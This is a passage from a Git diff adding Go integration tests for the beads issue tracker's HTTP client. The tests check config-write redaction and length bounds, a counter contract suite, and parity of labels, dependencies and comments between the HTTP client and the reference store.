operation that bounds a value the role does +// not, and a PUT whose second call must not be short-circuited. +// +// They are here rather than in the unit tier because each needs a real server: +// the redaction predicate, the two edge bounds and the write-through are all the +// SERVER's, and a stub transport would let this file assert whatever it liked +// about them. + +// TestServedConfigWriteAnswersTheReadThatFollowsIt is the redaction doctrine, +// pinned on both sides of the one key it changes anything for. +// +// The operation PERMITS a credential-bearing write and WITHHOLDS the value from +// its own answer — one projection serves the write and the read, so the body of +// a PUT is byte-identical to the body of the GET after it. That leaves a +// successful write whose `value` member is absent, and the role's result has no +// spelling for "withheld": reporting "" would tell a caller the plane holds +// nothing under that key, which is the write-side version of the confusion +// RedactedSettingError exists to prevent on the read side. +// +// So the client answers with the value it SENT, and this asserts why that is +// honest rather than convenient: the value really is stored, read RAW from the +// reference store past the wire that hid it. +// +// WHAT THIS CASE CANNOT SAY is that the ordinary key beside it is TRANSCRIBED +// off the answer rather than echoed from the request. Against a correct server +// the two are byte-identical — the operation promises the stored value equals +// the value sent for every key it accepts — so the difference is pinned where it +// is observable, against a transport that answers something else: +// TestSetSettingTranscribesTheAnswerRatherThanEchoingTheRequest. The ordinary +// key runs here anyway, because a client that transcribed the WRONG member would +// fail it. +func TestServedConfigWriteAnswersTheReadThatFollowsIt(t *testing.T) { + e := newServedEnv(t, "hcfgw1") + ctx := t.Context() + settings := servedSettings(t, e) + + const secretKey = "notion.token" + const secret = "shhh-real-secret" + res, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: secretKey, Value: secret}) + if err != nil { + t.Fatalf("SetSetting on a credential-bearing key = %v; the write is permitted and only the ANSWER withholds", err) + } + if res.Key != secretKey { + t.Errorf("SetSetting echoed key %q, want %q", res.Key, secretKey) + } + if res.Value != secret { + t.Errorf("SetSetting reported value %q, want %q: the answer withheld it, and \"\" would say the plane stores nothing there", + res.Value, secret) + } + + // Read RAW, past the role and past the wire: the point is that the value the + // response would not repeat IS the value the workspace now holds. + stored, err := e.reference.GetConfig(ctx, secretKey) + if err != nil { + t.Fatalf("read the stored credential back from the reference store: %v", err) + } + if stored != secret { + t.Errorf("the workspace stores %q under %q, want %q", stored, secretKey, secret) + } + + // And the READ that follows still withholds, which is the other half of "the + // PUT body is the GET body": a write does not unlock the key it just wrote. + if _, err := settings.GetSetting(ctx, issueops.GetSettingRequest{Key: secretKey}); !errors.Is(err, ErrSettingRedacted) { + t.Errorf("GetSetting after the write = %v, want ErrSettingRedacted; the write does not unlock the read", err) + } + + // The ordinary key is TRANSCRIBED, not echoed. The server answers this one + // with the stored value on the wire, so a client that reported the request + // unconditionally would be indistinguishable here — until a server stored + // something else. + const plainKey = "custom.hcfgw1-plain" + const plain = " spaces and , commas " + res, err = settings.SetSetting(ctx, issueops.SetSettingRequest{Key: plainKey, Value: plain}) + if err != nil { + t.Fatalf("SetSetting on an ordinary key: %v", err) + } + if res.Value != plain { + t.Errorf("SetSetting reported %q, want the verbatim %q", res.Value, plain) + } + got, err := settings.GetSetting(ctx, issueops.GetSettingRequest{Key: plainKey}) + if err != nil || got.Value != plain { + t.Errorf("GetSetting after the write = (%q, %v), want (%q, nil)", got.Value, err, plain) + } +} + +// TestServedConfigSetTwiceReachesTheRoleBothTimes pins that this client adds no +// idempotence of its own. +// +// The role's contract is explicit that a write of the value already there still +// performs the write and its projection — a no-op detection would make repairing +// a normalized table that had drifted from its row depend on the row having +// changed — and the wire carries no `changed` member to tempt one. A client that +// compared first would be the only leg on which that repair silently stopped +// happening, and nothing else in this tree would notice. +// +// It is measured through the PROJECTION rather than through the row, because the +// row is what a short-circuit would leave looking correct: the table is +// desynchronized out of band, the same value is written again, and the table has +// to come back. +func TestServedConfigSetTwiceReachesTheRoleBothTimes(t *testing.T) { + e := newServedEnv(t, "hcfgw2") + ctx := t.Context() + settings := servedSettings(t, e) + + const value = "research,ops" + first, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: issueops.SettingKeyTypesCustom, Value: value}) + if err != nil { + t.Fatalf("the first SetSetting: %v", err) + } + if got := servedCustomTypeRows(t, ctx, e); got != 2 { + t.Fatalf("custom_types holds %d rows after the first write, want 2", got) + } + + // Desynchronize the projection PAST the role, which is the state the role's + // contract says a repeated write exists to repair. + if err := e.exec(ctx, []conformance.SQLStatement{{Query: "DELETE FROM custom_types"}}); err != nil { + t.Fatalf("desynchronize the projection: %v", err) + } + if got := servedCustomTypeRows(t, ctx, e); got != 0 { + t.Fatalf("custom_types holds %d rows after the delete, want 0; the case proves nothing", got) + } + + second, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: issueops.SettingKeyTypesCustom, Value: value}) + if err != nil { + t.Fatalf("the second SetSetting: %v", err) + } + if got := servedCustomTypeRows(t, ctx, e); got != 2 { + t.Errorf("custom_types holds %d rows after re-writing the same value, want 2: the second write did not reach the role, "+ + "so a table that had drifted from its row can never be repaired through this client", got) + } + // And the two answers are the same answer. There is no `already_set` on this + // surface and this client must not invent one. + if first != second { + t.Errorf("the two writes answered %+v and %+v; a PUT's second answer is its first", first, second) + } +} + +// TestServedConfigWriteBoundsAreTheServersAndNotThisClients is L-config-bounds, +// measured against the reference store through its OWN role so "the two legs +// differ" is observed rather than asserted. +// +// Both bounds are the OPERATION's: internal/httpapi checks them before the role +// is called, and workapi.ValidateSettingWrite — the rule every leg shares — +// applies neither. So the same request is a typed, member-named refusal here and +// a raw column overflow there, and this client restates nothing, for the reason +// the ledger row gives. +// +// THE CEILING ITSELF IS ASSERTED FIRST. Without it the case would pass against a +// client that refused every value: what makes the refusal a BOUND rather than a +// blanket is that exactly types.MaxTextBytes bytes is stored. +func TestServedConfigWriteBoundsAreTheServersAndNotThisClients(t *testing.T) { + e := newServedEnv(t, "hcfgw3") + ctx := t.Context() + settings := servedSettings(t, e) + reference, err := e.reference.WorkspaceConfig() + if err != nil { + t.Fatalf("the reference store's WorkspaceConfig(): %v", err) + } + + atCeiling := strings.Repeat("y", types.MaxTextBytes) + if _, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: "custom.hcfgw3-at", Value: atCeiling}); err != nil { + t.Fatalf("a value of exactly %d bytes was refused: %v", types.MaxTextBytes, err) + } + + past := strings.Repeat("y", types.MaxTextBytes+1) + httpErr := setSettingErr(ctx, settings, "custom.hcfgw3-past", past) + if !errors.Is(httpErr, issueops.ErrValidation) { + t.Errorf("a value one byte past the column = %v, want ErrValidation carried back from the operation's 400", httpErr) + } + if refErr := setSettingErr(ctx, reference, "custom.hcfgw3-past-local", past); errors.Is(refErr, issueops.ErrValidation) { + t.Errorf("the reference store answered ErrValidation for the same value (%v); if both legs now classify it, "+ + "L-config-bounds has retired and this pin should go with it", refErr) + } else if refErr == nil { + t.Error("the reference store STORED a value past the column; the bound this row is about does not exist") + } + + // The KEY bound splits the same way — and only on the WRITE. The remove + // checks that the key names something and nothing more, on both legs. + longKey := "custom.hcfgw3-" + strings.Repeat("k", types.MaxFieldLen) + if err := setSettingErr(ctx, settings, longKey, "v"); !errors.Is(err, issueops.ErrValidation) { + t.Errorf("a key past the column on the write = %v, want ErrValidation", err) + } + if err := setSettingErr(ctx, reference, longKey+"2", "v"); errors.Is(err, issueops.ErrValidation) { + t.Errorf("the reference store answered ErrValidation for the same key (%v); the key half of L-config-bounds has retired", err) + } + if _, err := settings.UnsetSetting(ctx, issueops.UnsetSettingRequest{Key: longKey}); err != nil { + t.Errorf("removing an over-long key = %v, want success: the remove carries no length bound on either leg", err) + } +} + +// servedSettings is the SUBJECT's settings role, which every case here drives. +func servedSettings(t *testing.T, e *servedEnv) issueops.WorkspaceConfig { + t.Helper() + settings, err := e.subject.WorkspaceConfig() + if err != nil { + t.Fatalf("WorkspaceConfig(): %v", err) + } + return settings +} + +// setSettingErr is the error half of a write, for the arms that are about the +// refusal rather than the result. +func setSettingErr(ctx context.Context, settings issueops.WorkspaceConfig, key, value string) error { + _, err := settings.SetSetting(ctx, issueops.SetSettingRequest{Key: key, Value: value}) + return err +} + +// servedCustomTypeRows counts the projected table the write re-synchronizes. +func servedCustomTypeRows(t *testing.T, ctx context.Context, e *servedEnv) int { + t.Helper() + var rows int + if err := e.queryScalar(ctx, "SELECT COUNT(*) FROM custom_types", nil, &rows); err != nil { + t.Fatalf("count custom_types: %v", err) + } + return rows +} diff --git a/internal/httpclient/served_counter_test.go b/internal/httpclient/served_counter_test.go new file mode 100644 index 000000000..01fa3f7d4 --- /dev/null +++ b/internal/httpclient/served_counter_test.go @@ -0,0 +1,96 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_counter_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// The Counter contract, run through the http client against a real bd serve. +// +// NOTHING IS PARKED HERE, and on this role that is a statement rather than a +// happy accident. Every case scopes itself with IDFilter — the count publishes +// `id` where the LISTING does not, which is why the Reader family parks nine +// cases on E-ListRequest.IDFilter and this one parks none — and every filter the +// contract reaches for is a parameter this operation carries. The plane cases in +// particular cross whole: `include_infra` is one flag on the wire and one flag +// on the request, and what it MEANS is four decisions the server's own role +// makes from the workspace's infra vocabulary, which is a config load this +// client could not perform and does not have to. +func servedCounterFixture(t *testing.T, e *servedEnv, prefix string) conformance.CounterFixture { + t.Helper() + counter, err := e.subject.Counter() + if err != nil { + t.Fatalf("Counter(): %v", err) + } + return conformance.CounterFixture{ + IssuePrefix: prefix, + Counter: counter, + CreateIssue: e.createIssue, + CreateWisp: e.createWisp, + CountHistory: e.countHistory, + AddDependency: e.addDependency, + // List is deliberately left nil (unlike the dolt leg's wiring in + // internal/storage/dolt/counter_contract_test.go). This client's OWN + // ListRequest encoder table (encode/table.go's listTable) has + // pre-existing, permanent refusals for NoParent and ExcludeTypes + // (E-ListRequest.NoParent, E-ListRequest.ExcludeTypes) — a divergence + // on the LISTING operation unrelated to S8 — so wiring List here would + // make RunCounterNoParentMatchesListCardinality and + // RunCounterExcludeTypesMatchesListCardinality FAIL rather than the + // requireCounterList skip this fixture's own documented design + // intends for a leg that cannot express the comparison. + } +} + +func TestServedCounterContract(t *testing.T) { + e := newServedEnv(t, "cnt") + fixture := servedCounterFixture(t, e, "cnt") + + for _, tc := range []struct { + name string + run func(*testing.T, context.Context, conformance.CounterFixture) + }{ + {"CountsTheDurablePlaneByDefault", conformance.RunCounterCountsTheDurablePlaneByDefault}, + {"IncludeInfraMergesTheWispTier", conformance.RunCounterIncludeInfraMergesTheWispTier}, + {"IncludeInfraExcludesGates", conformance.RunCounterIncludeInfraExcludesGates}, + {"CountsClosedRows", conformance.RunCounterCountsClosedRows}, + {"AnUnknownStatusMatchesNothing", conformance.RunCounterAnUnknownStatusMatchesNothing}, + {"GroupsPartitionTheScalarSet", conformance.RunCounterGroupsPartitionTheScalarSet}, + {"LabelBucketsOverlapSoTotalIsNotTheirSum", conformance.RunCounterLabelBucketsOverlapSoTotalIsNotTheirSum}, + {"NamesTheEmptyBuckets", conformance.RunCounterNamesTheEmptyBuckets}, + {"PrefixesPriorityBuckets", conformance.RunCounterPrefixesPriorityBuckets}, + {"PriorityBucketsCountZeroAndCountEveryRow", conformance.RunCounterPriorityBucketsCountZeroAndCountEveryRow}, + {"TheNoLabelBucketIsAbsentWhenEveryRowIsLabeled", conformance.RunCounterTheNoLabelBucketIsAbsentWhenEveryRowIsLabeled}, + {"TypeBucketsAreTheRawTypeNames", conformance.RunCounterTypeBucketsAreTheRawTypeNames}, + {"RefusesAnUnknownGroup", conformance.RunCounterRefusesAnUnknownGroup}, + {"NormalizesLabelsAndLeavesTheRequestAlone", conformance.RunCounterNormalizesLabelsAndLeavesTheRequestAlone}, + {"WritesNothing", conformance.RunCounterWritesNothing}, + + // S8 (#7199) count scope, served for real against a running bd serve: + // ParentID, NoParent, ExcludeTypes and ExcludeStatus each narrow the + // predicate over the http wire, exercising the client's encoding + // (counts_test.go covers the unit-level encoding and the pre-dial + // skew refusal; these confirm the served round trip). The three + // *MatchesListCardinality cases SKIP here (requireCounterList) rather + // than fail, since this fixture leaves List unwired — see + // servedCounterFixture's comment. + {"ParentIDScopesToChildren", conformance.RunCounterParentIDScopesToChildren}, + {"NoParentExcludesChildren", conformance.RunCounterNoParentExcludesChildren}, + {"ExcludeTypesNarrowsThePredicate", conformance.RunCounterExcludeTypesNarrowsThePredicate}, + {"ExcludeStatusNarrowsThePredicate", conformance.RunCounterExcludeStatusNarrowsThePredicate}, + {"ParentIDMatchesListCardinality", conformance.RunCounterParentIDMatchesListCardinality}, + {"NoParentMatchesListCardinality", conformance.RunCounterNoParentMatchesListCardinality}, + {"ExcludeTypesMatchesListCardinality", conformance.RunCounterExcludeTypesMatchesListCardinality}, + {"ParentIDIncludesAWispChild", conformance.RunCounterParentIDIncludesAWispChild}, + {"ParentIDAndExcludeStatusComposeOnAClosedChild", conformance.RunCounterParentIDAndExcludeStatusComposeOnAClosedChild}, + } { + t.Run(tc.name, func(t *testing.T) { tc.run(t, t.Context(), fixture) }) + } +} diff --git a/internal/httpclient/served_detail_reads_test.go b/internal/httpclient/served_detail_reads_test.go new file mode 100644 index 000000000..29d0f4e6b --- /dev/null +++ b/internal/httpclient/served_detail_reads_test.go @@ -0,0 +1,380 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_detail_reads_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "context" + "sort" + "testing" + + "github.com/steveyegge/beads/internal/types" +) + +// The four getIssue riders and the anchored dependency-records read, run as a +// DUAL RUN: the same off-role method asked of the reference store directly and +// of the http client, and the two answers compared (ga-b8ddd.30). +// +// These are raw methods rather than roles, so they carry no backend/conformance +// contract — the audit tier and this served parity file are the right shape. The +// comparison is what the encode gate cannot make: the parameters round-trip +// through the server's decoder there, but whether the ROWS come back the same is +// a fact only a run against the served reference can establish. Here both sides +// run it. +// +// Ordering is normalized before every comparison. None of these reads promises a +// stable order across the two code paths — the reference reads them straight off +// the table, the wire assembles them through the detail view — so the parity that +// matters is the row SET and each row's fields, not the sequence. + +func sortMetadata(rows []*types.IssueWithDependencyMetadata) { + sort.SliceStable(rows, func(i, j int) bool { + if rows[i].Issue.ID != rows[j].Issue.ID { + return rows[i].Issue.ID < rows[j].Issue.ID + } + return rows[i].DependencyType < rows[j].DependencyType + }) +} + +func sortComments(rows []*types.Comment) { + sort.SliceStable(rows, func(i, j int) bool { return rows[i].ID < rows[j].ID }) +} + +// shallowMetadata projects a dependents list onto the identity-and-shape fields +// its callers consume, mirroring workapi.shallowDep. The include_dependents arm +// of getIssue streams dependents in exactly this shape (be-4d36f2: hub beads +// with thousands of dependents made the full-row marshal allocate gigabytes), so +// it is the shape a dependents read answers over http and the shape `bd show` +// renders — id, status, type, priority, title, plus the edge type. Comparing the +// full local rows would fail on free-form fields no dependents consumer reads; +// comparing this projection is the parity that is actually promised. +func shallowMetadata(rows []*types.IssueWithDependencyMetadata) []*types.IssueWithDependencyMetadata { + out := make([]*types.IssueWithDependencyMetadata, 0, len(rows)) + for _, row := range rows { + if row == nil { + out = append(out, nil) + continue + } + out = append(out, &types.IssueWithDependencyMetadata{ + Issue: types.Issue{ + ID: row.Issue.ID, + Status: row.Issue.Status, + IssueType: row.Issue.IssueType, + Priority: row.Issue.Priority, + Title: row.Issue.Title, + }, + DependencyType: row.DependencyType, + }) + } + return out +} + +func sortRecords(rows []*types.Dependency) { + sort.SliceStable(rows, func(i, j int) bool { + if rows[i].DependsOnID != rows[j].DependsOnID { + return rows[i].DependsOnID < rows[j].DependsOnID + } + return rows[i].Type < rows[j].Type + }) +} + +// seedDetailReadsFixture plants a subject issue with labels, a comment, one +// outgoing dependency and one incoming dependent, so every one of the five reads +// has a non-empty answer to compare. +func seedDetailReadsFixture(t *testing.T, ctx context.Context, e *servedEnv) { + t.Helper() + rows := []*types.Issue{ + {ID: "drd-root", Title: "root", Status: types.StatusOpen, IssueType: types.TypeTask, Labels: []string{"drd-alpha", "drd-beta"}}, + {ID: "drd-dep", Title: "a dependency of root", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "drd-ant", Title: "a dependent of root", Status: types.StatusOpen, IssueType: types.TypeTask}, + } + for _, row := range rows { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + // root depends on drd-dep; drd-ant depends on root. + for _, edge := range []*types.Dependency{ + {IssueID: "drd-root", DependsOnID: "drd-dep", Type: types.DepBlocks}, + {IssueID: "drd-ant", DependsOnID: "drd-root", Type: types.DepBlocks}, + } { + if err := e.addDependency(ctx, edge, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", edge.IssueID, edge.DependsOnID, err) + } + } + // Two comments, by different authors, so the thread read is exercised for + // ORDERING and PER-FIELD carriage rather than for a single row that could pass + // a shallow projection by accident. + for _, c := range []struct{ author, text string }{ + {"seed", "a comment the detail view carries"}, + {"reviewer", "a second comment, so ordering and per-field parity are exercised"}, + } { + if err := e.addComment(ctx, "drd-root", c.author, c.text); err != nil { + t.Fatalf("seed the comment %q: %v", c.text, err) + } + } +} + +// TestServedDetailReadsAgreeWithTheReferenceStore is the parity pin for all five +// flips: each off-role read answers the same value over http that it answers +// locally. +func TestServedDetailReadsAgreeWithTheReferenceStore(t *testing.T) { + e := newServedEnv(t, "drd") + ctx := t.Context() + seedDetailReadsFixture(t, ctx, e) + + t.Run("GetLabels", func(t *testing.T) { + want, err := e.reference.GetLabels(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetLabels: %v", err) + } + got, err := e.subject.GetLabels(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetLabels: %v", err) + } + sort.Strings(want) + sort.Strings(got) + assertSameJSON(t, "GetLabels", want, got) + }) + + t.Run("GetDependenciesWithMetadata", func(t *testing.T) { + want, err := e.reference.GetDependenciesWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependenciesWithMetadata: %v", err) + } + got, err := e.subject.GetDependenciesWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependenciesWithMetadata: %v", err) + } + if len(want) != 1 || want[0].Issue.ID != "drd-dep" { + t.Fatalf("the REFERENCE answered %+v, the fixture expects one edge onto drd-dep", want) + } + sortMetadata(want) + sortMetadata(got) + assertSameJSON(t, "GetDependenciesWithMetadata", want, got) + }) + + t.Run("GetDependentsWithMetadata is carried only when asked", func(t *testing.T) { + want, err := e.reference.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependentsWithMetadata: %v", err) + } + got, err := e.subject.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependentsWithMetadata: %v", err) + } + if len(want) != 1 || want[0].Issue.ID != "drd-ant" { + t.Fatalf("the REFERENCE answered %+v, the fixture expects one dependent drd-ant", want) + } + // The dependents arm answers the shallow include_dependents shape, so the + // parity is over the fields that shape carries and `bd show` renders. + wantShallow := shallowMetadata(want) + gotShallow := shallowMetadata(got) + sortMetadata(wantShallow) + sortMetadata(gotShallow) + assertSameJSON(t, "GetDependentsWithMetadata", wantShallow, gotShallow) + }) + + t.Run("GetIssueComments carry the WHOLE comment, not a shallow projection", func(t *testing.T) { + want, err := e.reference.GetIssueComments(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetIssueComments: %v", err) + } + got, err := e.subject.GetIssueComments(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetIssueComments: %v", err) + } + if len(want) != 2 { + t.Fatalf("the REFERENCE answered %d comments, the fixture seeded two", len(want)) + } + sortComments(want) + sortComments(got) + // The comment thread rides include_comments as the FULL types.Comment — + // unlike the shallow dependents arm — so the http answer must carry every + // field a reply renders. A zeroed CreatedAt would sort a reply ahead of the + // root and blank its byline, and an empty Author/Text would gut the render. + // Assert the carriage BY FIELD before the whole-value parity, so a future + // shallow projection fails here by name rather than only through the opaque + // assertSameJSON diff. This is the pin the too-shallow prior test lacked. + if len(got) != len(want) { + t.Fatalf("http answered %d comments, want %d", len(got), len(want)) + } + for i, c := range got { + if c.CreatedAt.IsZero() { + t.Errorf("http comment %d has a zero CreatedAt: the wire dropped it, which would break thread ordering", i) + } + if c.Author == "" || c.Text == "" { + t.Errorf("http comment %d dropped Author/Text: %+v", i, c) + } + } + assertSameJSON(t, "GetIssueComments", want, got) + }) + + t.Run("GetDependentsWithMetadata is SHALLOW over http (why bd show --thread/--refs/--children refuse)", func(t *testing.T) { + ref, err := e.reference.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependentsWithMetadata: %v", err) + } + got, err := e.subject.GetDependentsWithMetadata(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependentsWithMetadata: %v", err) + } + if len(ref) != 1 || len(got) != 1 { + t.Fatalf("fixture expects one dependent on each side, got ref=%d http=%d", len(ref), len(got)) + } + // The reference reads the full row off the table; the wire answers the + // collectDependents shallow projection (be-4d36f2), which drops the + // free-form fields. CreatedAt is the reliable discriminator — the store + // stamps it on create, so the full row carries it and the shallow one + // zeroes it. This divergence is deliberate and is EXACTLY why the three + // reverse-view show modes refuse rather than render off it; pin it so a + // change that makes the wire look full also has to revisit those refusals. + if ref[0].Issue.CreatedAt.IsZero() { + t.Fatalf("the reference dependent has a zero CreatedAt, so this test cannot tell shallow from full") + } + if !got[0].Issue.CreatedAt.IsZero() { + t.Errorf("http dependent CreatedAt = %v, want zero: the wire is supposed to answer the shallow projection", got[0].Issue.CreatedAt) + } + // The shallow fields the show-text renderer consumes DO ride the wire. + if got[0].Issue.ID != "drd-ant" || got[0].Issue.Title != ref[0].Issue.Title || got[0].Issue.Status != ref[0].Issue.Status { + t.Errorf("the shallow fields diverged: ref=%+v http=%+v", ref[0].Issue, got[0].Issue) + } + }) + + t.Run("GetDependencyRecords", func(t *testing.T) { + want, err := e.reference.GetDependencyRecords(ctx, "drd-root") + if err != nil { + t.Fatalf("reference GetDependencyRecords: %v", err) + } + got, err := e.subject.GetDependencyRecords(ctx, "drd-root") + if err != nil { + t.Fatalf("http GetDependencyRecords: %v", err) + } + if len(want) != 1 || want[0].DependsOnID != "drd-dep" { + t.Fatalf("the REFERENCE answered %+v, the fixture expects one record onto drd-dep", want) + } + sortRecords(want) + sortRecords(got) + assertSameJSON(t, "GetDependencyRecords", want, got) + }) +} + +// TestServedDetailReadsMissParity is the (nil, nil) contract each flip carries: +// a nonexistent id answers empty with no error on BOTH sides, because the front +// doors read a nil result as "not found" and an error would print the +// transport's vocabulary in its place. +func TestServedDetailReadsMissParity(t *testing.T) { + e := newServedEnv(t, "drm") + ctx := t.Context() + const absent = "drm-nope" + + labels, err := e.subject.GetLabels(ctx, absent) + if err != nil || labels != nil { + t.Errorf("GetLabels on a miss = (%v, %v), want (nil, nil)", labels, err) + } + deps, err := e.subject.GetDependenciesWithMetadata(ctx, absent) + if err != nil || deps != nil { + t.Errorf("GetDependenciesWithMetadata on a miss = (%v, %v), want (nil, nil)", deps, err) + } + dependents, err := e.subject.GetDependentsWithMetadata(ctx, absent) + if err != nil || dependents != nil { + t.Errorf("GetDependentsWithMetadata on a miss = (%v, %v), want (nil, nil)", dependents, err) + } + comments, err := e.subject.GetIssueComments(ctx, absent) + if err != nil || comments != nil { + t.Errorf("GetIssueComments on a miss = (%v, %v), want (nil, nil)", comments, err) + } + records, err := e.subject.GetDependencyRecords(ctx, absent) + if err != nil || records != nil { + t.Errorf("GetDependencyRecords on a miss = (%v, %v), want (nil, nil)", records, err) + } + + // The reference answers the same way, so the parity is a shared contract + // rather than a client-side convention. ALL FIVE flipped reads are pinned on + // the reference, not just two: the "answer a miss with empty-and-no-error, + // never the transport's 404 vocabulary" contract has to hold for every read + // the http client mirrors, and spot-checking two of five left the other three + // free to drift. + if got, err := e.reference.GetLabels(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetLabels on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetDependenciesWithMetadata(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetDependenciesWithMetadata on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetDependentsWithMetadata(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetDependentsWithMetadata on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetIssueComments(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetIssueComments on a miss = (%v, %v), want (nil, nil)", got, err) + } + if got, err := e.reference.GetDependencyRecords(ctx, absent); err != nil || got != nil { + t.Errorf("reference GetDependencyRecords on a miss = (%v, %v), want (nil, nil)", got, err) + } +} + +// TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim is L17's dual run: the +// question the flip of GetDependencyRecords waited on. +// +// `bd dep remove`'s GH#5005 guard (exactDependencyTarget) reads the raw +// dependency rows and matches DependsOnID against the bare target the user typed, +// so a wrong-edge deletion is prevented only if an UNRESOLVED depends_on_id — +// one the database cannot resolve to any issue — is surfaced verbatim rather than +// dropped or normalized. This seeds exactly such a row (an external reference the +// workspace holds no issue for) beside a normal edge and compares the client's +// GetDependencyRecords against the reference's. If the unresolved row survives +// the wire whole, there is no divergence to ledger — which is the outcome this +// asserts and which retired L17. +func TestServedDependencyRecordsSurfaceUnresolvedRowsVerbatim(t *testing.T) { + e := newServedEnv(t, "drx") + ctx := t.Context() + + for _, row := range []*types.Issue{ + {ID: "drx-src", Title: "source", Status: types.StatusOpen, IssueType: types.TypeTask}, + {ID: "drx-tgt", Title: "a real target", Status: types.StatusOpen, IssueType: types.TypeTask}, + } { + if err := e.createIssue(ctx, row, "seed"); err != nil { + t.Fatalf("seed %s: %v", row.ID, err) + } + } + // A normal, resolvable edge, and an UNRESOLVED one whose target names no + // issue this workspace holds — the shape the guard exists to see. The + // external reference routes into depends_on_external and skips the target + // existence check, so it is stored verbatim exactly as the pre-GH#5005 bare + // slug was. + for _, edge := range []*types.Dependency{ + {IssueID: "drx-src", DependsOnID: "drx-tgt", Type: types.DepBlocks}, + {IssueID: "drx-src", DependsOnID: "external:ghost-slug", Type: types.DepRelated}, + } { + if err := e.addDependency(ctx, edge, "seed"); err != nil { + t.Fatalf("seed edge %s -> %s: %v", edge.IssueID, edge.DependsOnID, err) + } + } + + want, err := e.reference.GetDependencyRecords(ctx, "drx-src") + if err != nil { + t.Fatalf("reference GetDependencyRecords: %v", err) + } + got, err := e.subject.GetDependencyRecords(ctx, "drx-src") + if err != nil { + t.Fatalf("http GetDependencyRecords: %v", err) + } + + // The reference is the oracle: assert the fixture really produced the + // unresolved row before comparing, so a fixture that stopped seeding it + // cannot make the parity pass vacuously. + var haveUnresolved bool + for _, r := range want { + if r.DependsOnID == "external:ghost-slug" { + haveUnresolved = true + } + } + if len(want) != 2 || !haveUnresolved { + t.Fatalf("the REFERENCE answered %+v, want two records including the unresolved external:ghost-slug", want) + } + + sortRecords(want) + sortRecords(got) + assertSameJSON(t, "GetDependencyRecords over an unresolved target", want, got) +} diff --git a/internal/httpclient/served_dualrun_test.go b/internal/httpclient/served_dualrun_test.go new file mode 100644 index 000000000..b13137f2a --- /dev/null +++ b/internal/httpclient/served_dualrun_test.go @@ -0,0 +1,495 @@ +//go:build cgo + +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/served_dualrun_test.go@49d1df2f6) +// to OSS beads under the MIT license. + +package httpclient + +import ( + "encoding/json" + "errors" + "slices" + "strconv" + "testing" + "time" + + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// Dual runs: the same store call, answered twice. +// +// Once by the reference store's own role, and once by the http client through +// the server that serves that very store. The two answers have to agree, and +// they are compared as the BYTES a caller receives rather than as a row count — +// `bd show --json` and `bd list --json` marshal these exact structs, so a field +// the wire round trip dropped or reshaped is a user-visible divergence even +// when the row set is right. +// +// The pair is the whole point. Every other test in this package asserts against +// values a human wrote down, which can only catch what that human thought to +// check; this one asserts against the local answer, which is the thing the +// backend is actually promising to reproduce. + +func dualRunFixture(t *testing.T, name string) (*servedComposition, issueops.Reader, issueops.Reader, string) { + t.Helper() + ctx := t.Context() + c, remote := servedReader(t) + local, err := c.reference.IssueReader() + if err != nil { + t.Fatalf("reference IssueReader(): %v", err) + } + + scope := servedIssuePrefix + "-dual-" + name + base := time.Now().UTC().Truncate(time.Second).Add(-3 * time.Hour) + for i, seed := range []struct { + tag string + priority int + }{{"a", 2}, {"b", 0}, {"c", 1}} { + id := scope + "-" + seed.tag + seedListIssue(t, ctx, c, id, scope, base.Add(time.Duration(i)*time.Minute), seed.priority) + } + // One edge and one comment, so the detail view and the cardinalities are + // nonzero on at least one row: a dual run over rows with nothing hanging off + // them cannot see a projection that drops a list. + if err := c.seedDependency(ctx, &types.Dependency{ + IssueID: scope + "-a", DependsOnID: scope + "-b", Type: types.DepBlocks, + }, "seed"); err != nil { + t.Fatalf("seed the edge: %v", err) + } + if err := c.seedComment(ctx, scope+"-a", "seed", "a comment the detail view carries"); err != nil { + t.Fatalf("seed the comment: %v", err) + } + return c, local, remote, scope +} + +func assertSameJSON(t *testing.T, what string, local, remote any) { + t.Helper() + wantBytes, err := json.Marshal(local) + if err != nil { + t.Fatalf("marshal the reference answer for %s: %v", what, err) + } + gotBytes, err := json.Marshal(remote) + if err != nil { + t.Fatalf("marshal the http answer for %s: %v", what, err) + } + if string(wantBytes) != string(gotBytes) { + t.Errorf("%s diverges\n http: %s\n local: %s", what, gotBytes, wantBytes) + } +} + +// TestDualRunReaderAgreesWithTheReferenceStore is the smoke the composition +// exists for: Ready, List and Get answered by both, byte for byte. +func 